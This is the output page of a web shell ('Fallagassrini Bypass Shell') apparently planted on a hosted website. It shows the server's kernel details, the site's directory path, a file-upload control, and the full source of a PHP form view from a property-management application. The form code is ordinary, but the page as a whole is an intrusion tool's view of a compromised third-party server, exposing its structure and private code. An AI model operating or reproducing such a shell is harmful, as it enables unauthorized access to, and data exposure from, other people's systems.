? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/add_building_details.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
   $building_type=$this->mastermodel->getdatas('building_type','building_type_id');
   $location=$this->mastermodel->getdatas('location','location_id','asc','location_id');
   $facility=$this->mastermodel->getdatas('facility','facility_id');
   $amenities=$this->mastermodel->getdatas('amenities','amenities_id');
   $agent=$this->mastermodel->getdatas('agent','agent_id');
   $bedroom=$this->mastermodel->getdatas('bedroom','bedroom_id');
   $this->load->view('documentreadyfunctions');
   $watchman=$this->mastermodel->get_data('employee','1','employee_watchman');
   $supervisor=$this->mastermodel->get_data('employee','1','employee_supervisor','employee_id');
  
?>  

<div class="icons_main">
   <div  class="icons">   
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('master','viewinmastersearch','search_building_details','view_building_details','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
   </div>
    <div class="icons_caption">
        <h4>Creating new Building Details</h4>
    </div>
</div>
<?php
$attributes=array('id'=>'validateform','class'=>'validate');
echo form_open('master/addinmaster/insert_building_details/view_building_details/1',$attributes); 
?>
<div class="grid_6">
    <div class="box">
            <div class="header main">  Building Details </div>  
            <div class="content no-padding">
                <div class="section _100">
                    <label> Type of Building </label>
                    <div style="margin-top: 6px;">
                        <select name="building_type_id" class="required chzn-done" onchange="show_details(this.value)">
                            <option value="">Select</option> 
                            <?php
                                foreach ($building_type as $list) {
                                ?>
                             <option value="<?=$list['building_type_id']?>"><?=$list['building_type']?></option>
                            <?php
                                }
                            ?>
                        </select>
                  </div>
                 </div>     
                 <div class="section _100">
                    <label>Building Name </label>
                    <div>
                        <input name="building_name" id="building_name" class="required" type="text">
                    </div>
                </div>  
                
                <div class="section _100">
                    <label>Building Code </label>
                    <div class="single_page">
                        Auto-generated
                    </div>
                </div>    
                                                  
                 <div class="section _100">
                    <label> Location </label>
                     <div style="margin-top: 6px;">
                        <select name="building_location_id" class="required" id="building_location_id">
                            <option value="">Select</option> 
                            <?php
                                foreach ($location as $list) {
                                ?>
                             <option value="<?=$list['location_id']?>"><?=$list['location_name']?></option>
                            <?php
                                }
                            ?>
                        </select>
                  </div>           
                </div> 
                <div class="section _100">
                        <label> Address </label>
                        <div>
                                <textarea name="building_address" id="building_address" class="required"></textarea>
                        </div>
               </div> 
                  <div class="section _100">
                        <label> PO Box </label>
                        <div>
                            <input name="building_po_code" id="building_po_code"  type="text">
                        </div>
                  </div>    
                  <div class="section _100">
                        <label> Country </label>
                        <div>
                            <input name="building_country" id="building_country"  type="text" value="QATAR">
                        </div>
                    </div> 
                 <div class="section _100">
                    <label> Agent </label>
                    <div style="margin-top: 6px;">
                        <select name="building_agent_id">
                            <option value="">Select</option> 
                            <?php
                                foreach ($agent as $list) {
                                ?>
                             <option value="<?=$list['agent_id']?>"><?=$list['agent_name']?></option>
                            <?php
                                }
                            ?>
                        </select>
                  </div>
                 </div> 
                <div class="section _100">
                    <label>Remarks</label>
                    <div>
                        <textarea name="building_remarks" id="building_remarks"></textarea>
                    </div>
                </div>        
            </div>               
    </div> 
</div>

<div class="grid_6">
    <div class="box">
        <div class="header main">  Amenities </div>    
        <div class="content no-padding">
           <div class="section _100">
               <div class="section">                                            
                        <label>Select All</label>
                        <div style="margin-top: 7px;">
                            <input name="amenities_all" id="amenities_all" value="" type="checkbox" onchange="aminities_check_all('check')"/>
                        </div>
                </div>
                <?php 
                $i=1;                    
                foreach($amenities as $row)
                {
                ?>
                    <div class="section">                                            
                        <label><?=$row['amenities_type']?></label>
                        <div style="margin-top: 7px;">
                            <input name="amenities_<?=$i?>" id="amenities_<?=$i?>" value="<?=$row['amenities_id']?>" type="checkbox" onchange="aminities_check_all('')"/>
                        </div>
                    </div>
                <?php
                $i++;
                }
                ?>
            </div> 
        </div>
    </div>    
</div> 

<div class="grid_6">
        <div class="box">
            <div class="header main">  Facilities </div> 
            <div class="content no-padding">                
               <div class="section _100">   
                   <div class="section">                                            
                    <label>Select All</label>
                    <div style="margin-top: 7px;">
                        <input name="facility_all" id="facility_all" value="" type="checkbox" onchange="facility_check_all('check')"/>
                    </div>
                   </div>
                    <?php 
                    $j=1;
                    foreach($facility as $row)
                    {
                        
                    ?>
                   <div class="section">                                            
                        <label><?=$row['facility_type']?></label>
                        <div style="margin-top: 7px;">
                            <input name="facility_<?=$j?>" id="facility_<?=$j?>" value="<?=$row['facility_id']?>" type="checkbox" onchange="facility_check_all('')"/>
                        </div>
                    </div>
                    <?php
                    $j++;
                    }
                    ?>
                </div>   
            </div>
        </div>    
    </div>

                    <input type="hidden" name="amenities_limit" id="amenities_limit" value="<?=$i?>"/>                        
                    <input type="hidden" name="facility_limit" id="facility_limit" value="<?=$j?>"/>
<div class="grid_6">
    <div class="box">
        <div class="header main">  Supervisor </div>
        <div class="content no-padding">
           <div class="section _100">
                    <table class="table">
                        <tr>
                            <th><label>Supervisor</label></th>
                            <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                        </tr>
                        <tr>
                            <td><select name="supervisor_id" id="supervisor_id" class="chzn-done">
                            <option value="">Select</option>
                            <?php
                                foreach ($supervisor as $list) {
                                ?>
                             <option value="<?=$list['employee_id']?>"><?=$list['employee_name']?></option>
                            <?php
                                }
                            ?>
                        </select></td>
                            <td> <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                        </tr>
                    </table>
                 </div>
        </div>
    </div>
    
    <div class="box">
        <div class="header main">  Watchman </div>
        <div class="content no-padding">
           <div class="section _100">
                    <table class="table">
                        <tr>
                            <th><label>Watchman</label></th>
                            <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                        </tr>
                        <tr>
                            <td><select name="watchman_id" id="watchman_id" class="chzn-done">
                                    <option value="">Select</option>
                            <?php
                                foreach ($watchman as $list) {
                                ?>
                             <option value="<?=$list['employee_id']?>"><?=$list['employee_name']?></option>
                            <?php
                                }
                            ?>
                        </select></td>
                            <td> <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                        </tr>
                    </table>
                 </div>
        </div>
    </div>
</div>
</div>
<div  id="commercial_building" style="display:none">
    <?php
    $area=$this->mastermodel->getdatas('area','area_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Commercial Building Details </div> 
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Office No</th>
                        <th>Square Meter</th>                        
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="commercial_floor" id="commercial_floor"/></td>
                        <td><input class="w_90" type="text" name="commercial_office" id="commercial_office"/></td>
                        <td>
                             <select name="commercial_square" id="commercial_square" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($area as $list) {
                                    ?>
                                <option value="<?=$list['area_sq_meter']?>"><?=$list['area_sq_meter']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div>    
    </div> 
</div> 
<div  id="commercial_villa" style="display:none">
    <?php
    $area=$this->mastermodel->getdatas('area','area_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">Commercial Villa Details </div> 
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>Area (in sq m)</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="commercial_villa_number" id="commercial_villa_number"/></td>
                        <td>
                             <select name="commercial_villa_square" id="commercial_villa_square" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($area as $list) {
                                    ?>
                                <option value="<?=$list['area_sq_meter']?>"><?=$list['area_sq_meter']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>                                        
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
            </div>
        </div>    
    </div> 
</div> 
<div  id="residential_villa" style="display:none">
    <?php
    $bedroom_no=$this->mastermodel->getdatas('bedroom','bedroom_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">Residential Villa Details </div>
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>No of Bedroom</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="residential_villa_number" id="residential_villa_number"/></td>
                        <td>    
                        <select name="residential_bedroom_no" id="residential_bedroom_no" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($bedroom as $list) {
                                    ?>
                                <option value="<?=$list['bedroom_number']?>"><?=$list['bedroom_number']?></option>
                                <?php
                                    }
                                ?>
                        </select>
                        </td>                                          
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div>    
    </div> 
</div> 

<div  id="residential_apartment" style="display:none">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Apartment Details </div>
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Apartment No</th>
                        <th>No of Bedroom</th>                         
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="apartment_floor" id="apartment_floor"/></td>
                        <td><input class="w_90" type="text" name="apartment_no" id="apartment_no"/></td>                                          
                        <td>
                            <select  style="margin-top: 10;" name="apartment_bedroom_no" id="apartment_bedroom_no" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($bedroom as $list) {
                                    ?>
                                <option value="<?=$list['bedroom_number']?>"><?=$list['bedroom_number']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>  
            </div>
        </div>    
    </div> 
</div> 
<div class="grid_12">
    <div class="box"> 
        <div class="actions"> 
                 <div class="actions-left">
                    <input type="reset">
                    <input type="hidden" name="resfunction" value="search_contract"/>
                 </div>           
                 <div class="actions-right">
                    <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
                 </div>
        </div>        
    </div>
</div>
     
<?php echo form_close();?>
<script type="text/javascript">
    function show_details(val)
    {
        var divid1='commercial_building';
        var divid2='commercial_villa';
        var divid3='residential_villa';
        var divid4='residential_apartment';
        
        
        if(val=="1")
        {
            $('#'+divid1).show();       
            $('#'+divid2).hide();
            $('#'+divid3).hide();
            $('#'+divid4).hide();
        }
        else if(val=="2") 
        {
            $('#'+divid1).hide();       
            $('#'+divid2).show();
            $('#'+divid3).hide(); 
            $('#'+divid4).hide();  
        }
        else if(val=="3") 
        {
            $('#'+divid1).hide();       
            $('#'+divid2).hide();
            $('#'+divid3).show(); 
            $('#'+divid4).hide();  
        }
        else if(val=="4") 
        {
            $('#'+divid1).hide();       
            $('#'+divid2).hide();
            $('#'+divid3).hide(); 
            $('#'+divid4).show(); 
        }
        else
        { 
            $('#'+divid1).hide();       
            $('#'+divid2).hide();
            $('#'+divid3).hide();
            $('#'+divid4).hide();
        }
    }
</script>    

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net